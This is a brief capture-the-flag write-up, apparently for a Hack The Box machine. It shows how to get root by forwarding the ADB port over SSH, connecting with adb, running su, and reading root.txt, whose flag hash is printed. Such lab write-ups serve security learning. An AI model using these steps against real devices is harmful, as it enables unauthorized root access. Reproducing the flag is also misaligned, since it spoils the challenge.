Access ADB as root
- Do local port forwarding so you can access abd shell on localhost
ssh kristi@htb -p 2222 -L 5555:localhost:5555
- Connect to adb shell
adb connect localhost:5555
- Verify
➜ explore adb devices
List of devices attached
htb:2222 offline
localhost:5555 device
- Enjoy
adb -s localhost shell
127|x86_64:/ $ whoami
shell
x86_64:/ $ su
:/ # cat data/root.txt
f04fc82b6d49b41c9b08982be59338c5
:/ #